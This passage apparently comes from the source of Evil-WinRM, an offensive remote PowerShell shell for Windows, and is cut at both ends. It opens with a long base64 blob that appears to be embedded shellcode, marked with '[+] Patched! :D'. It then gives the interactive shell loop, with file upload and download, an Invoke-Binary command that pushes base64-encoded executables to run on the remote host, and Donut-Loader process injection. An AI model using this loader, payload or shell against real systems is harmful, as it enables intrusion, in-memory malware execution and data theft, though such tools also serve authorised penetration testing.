LQDhIi1UQSIHCrAMAAEiLTfj/0EiJRfBIg33wAHUKuAAAAADpOQEAAEiNFUb///9IjQUa////SCnCSInQiUXsi0XshcB5CrgAAAAA6REBAABIi0UQSItAYItV7EyNRehIi03wTYnBQbhAAAAA/9CFwHUKuAAAAADp5QAAAItV7EiLRfBJidBIjRXD/v//SInB6CcDAABIi0UQSItAYESLReiLVexMjU3kSItN8P/QSItFEEiLQDhIi1UQSIHCvAMAAEiLTfj/0EiJRfBIg33wAHUKuAAAAADphQAAAEiNFcr+//9IjQWe/v//SCnCSInQiUXsi0XshcB5B7gAAAAA62BIi0UQSItAYItV7EyNRehIi03wTYnBQbhAAAAA/9CFwHUHuAAAAADrN4tV7EiLRfBJidBIjRVN/v//SInB6HkCAABIi0UQSItAYESLReiLVexMjU3kSItN8P/QuAEAAABIg8RAXcNVSInlSIlNEEiJVRhMiUUgRIlNKEiLRSDHAAEAAAC4AAAAAF3DVUiJ5YlNEIlVGItFECtFGF3DVUiJ5UiJTRBIiVUYRIlFILgAAAAAXcNVSInliU0QiVUYi0UQmfd9GF3DVUiJ5UiD7EBIiU0QSItFEEiLQDBIi1UQSIHCTAMAAEiJ0f/QSIlF+EiDffgAdQq4AQAAAOlnAQAASItFEEiLQDhIi1UQSIHCXAMAAEiLTfj/0EiJRfBIg33wAHUKuAAAAADpOQEAAEiNFX////9IjQVh////SCnCSInQiUXsi0XshcB5CrgAAAAA6REBAABIi0UQSItAYItV7EyNRehIi03wTYnBQbhAAAAA/9CFwHUKuAAAAADp5QAAAItV7EiLRfBJidBIjRUK////SInB6CABAABIi0UQSItAYESLReiLVexMjU3kSItN8P/QSItFEEiLQDhIi1UQSIHCfAMAAEiLTfj/0EiJRfBIg33wAHUKuAAAAADphQAAAEiNFaL+//9IjQV2/v//SCnCSInQiUXsi0XshcB5B7gAAAAA62BIi0UQSItAYItV7EyNRehIi03wTYnBQbhAAAAA/9CFwHUHuAAAAADrN4tV7EiLRfBJidBIjRUl/v//SInB6HIAAABIi0UQSItAYESLReiLVexMjU3kSItN8P/QuAEAAABIg8RAXcOQkJCQkJBVSInlSIPsEEiJTRCJVRh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"
"[+] Patched! :D"
}
}

")

    command = ""

    begin
        time = Time.now.to_i
        self.print_message("Establishing connection to remote endpoint", TYPE_INFO)
        $conn.shell(:powershell) do |shell|
            begin
                completion =
                proc do |str|
                case
                    when Readline.line_buffer =~ /help.*/i
                        puts("#{$LIST.join("\t")}")
                    when Readline.line_buffer =~ /Invoke-Binary.*/i
                        result = @executables.grep( /^#{Regexp.escape(str)}/i ) || []
                        if result.empty? then
                            paths = self.paths(str)
                            result.concat(paths.grep( /^#{Regexp.escape(str)}/i ))
                        end
                        result.uniq
                    when Readline.line_buffer =~ /donutfile.*/i
                        paths = self.paths(str)
                        paths.grep( /^#{Regexp.escape(str)}/i )
                    when Readline.line_buffer =~ /Donut-Loader -process_id.*/i
                        $DONUTPARAM2.grep( /^#{Regexp.escape(str)}/i ) unless str.nil?
                    when Readline.line_buffer =~ /Donut-Loader.*/i
                        $DONUTPARAM1.grep( /^#{Regexp.escape(str)}/i ) unless str.nil?
                    when Readline.line_buffer =~ /^upload.*/i
                        test_s = Readline.line_buffer.gsub('\\ ', '\#\#\#\#')
                        if test_s.count(' ') < 2 then
                            self.paths(str) || []
                        else
                            self.complete_path(str, shell) || []
                        end
                    when Readline.line_buffer =~ /^download.*/i
                        test_s = Readline.line_buffer.gsub('\\ ', '\#\#\#\#')
                        if test_s.count(' ') < 2 then
                            self.complete_path(str, shell) || []
                        else
                            paths = self.paths(str)
                        end
                    when (Readline.line_buffer.empty? || !(Readline.line_buffer.include?(' ') || Readline.line_buffer =~ /^\"?(\.\/|\.\.\/|[a-z,A-Z]\:\/|\~\/|\/)/))
                        result = $COMMANDS.grep( /^#{Regexp.escape(str)}/i ) || []
                        result.concat(@functions.grep(/^#{Regexp.escape(str)}/i))
                        result.uniq
                    else
                        result = Array.new
                        result.concat(self.complete_path(str, shell) || [])
                        result
                    end
                end

                Readline.completion_proc = completion
                Readline.completion_append_character = ''
                Readline.completion_case_fold = true
                Readline.completer_quote_characters = "\""

                until command == "exit" do
                    pwd = shell.run("(get-location).path").output.strip

                    if $colors_enabled then
                        command = Readline.readline(self.colorize("*Evil-WinRM*", "red") + self.colorize(" PS ", "yellow") + pwd + "> ", true)
                    else
                        command = Readline.readline("*Evil-WinRM* PS " + pwd + "> ", true)
                    end
                    if !$logger.nil?
                        $logger.info("*Evil-WinRM* PS #{pwd} > #{command}")
                    end

                    if command.start_with?('upload') then
                        if self.docker_detection() then
                            puts()
                            self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING, true, $logger)
                        end

                        begin
                            paths = self.get_upload_paths(command, pwd)
                            right_path = paths.pop
                            left_path = paths.pop

                            self.print_message("Uploading #{left_path} to #{right_path}", TYPE_INFO, true, $logger)
                            file_manager.upload(left_path, right_path) do |bytes_copied, total_bytes|
                                self.progress_bar(bytes_copied, total_bytes)
                                if bytes_copied == total_bytes then
                                    puts("                                                             ")
                                    self.print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA, true, $logger)
                                    self.print_message("Upload successful!", TYPE_INFO, true, $logger)
                                end
                            end
                        rescue StandardError => err
                            self.print_message("Error: #{err.to_s}: #{err.backtrace}", TYPE_ERROR, true, $logger)
                            self.print_message("Upload failed. Check filenames or paths", TYPE_ERROR, true, $logger)
                        ensure
                            command = ""
                        end
                    elsif command.start_with?('download') then
                        if self.docker_detection() then
                            puts()
                            self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING, true, $logger)
                        end

                        begin
                            paths = self.get_download_paths(command, pwd)
                            right_path = paths.pop
                            left_path = paths.pop

                            self.print_message("Downloading #{left_path} to #{right_path}", TYPE_INFO, true, $logger)
                            size = self.filesize(shell, left_path)
                            file_manager.download(left_path, right_path, size: size) do | index, size |
                                self.progress_bar(index, size)
                            end
                            puts("                                                             ")
                            self.print_message("Download successful!", TYPE_INFO, true, $logger)
                        rescue StandardError => err
                            self.print_message("Download failed. Check filenames or paths", TYPE_ERROR, true, $logger)
                        ensure
                            command = ""
                        end
                    elsif command.start_with?('Invoke-Binary') then
                        begin
                            invoke_Binary = command.tokenize
                            command = ""
                            if !invoke_Binary[1].to_s.empty? then
                                load_executable = invoke_Binary[1]
                                load_executable = File.binread(load_executable)
                                load_executable = Base64.strict_encode64(load_executable)
                                if !invoke_Binary[2].to_s.empty?
                                    output = shell.run("Invoke-Binary " + load_executable + " ," + invoke_Binary[2])
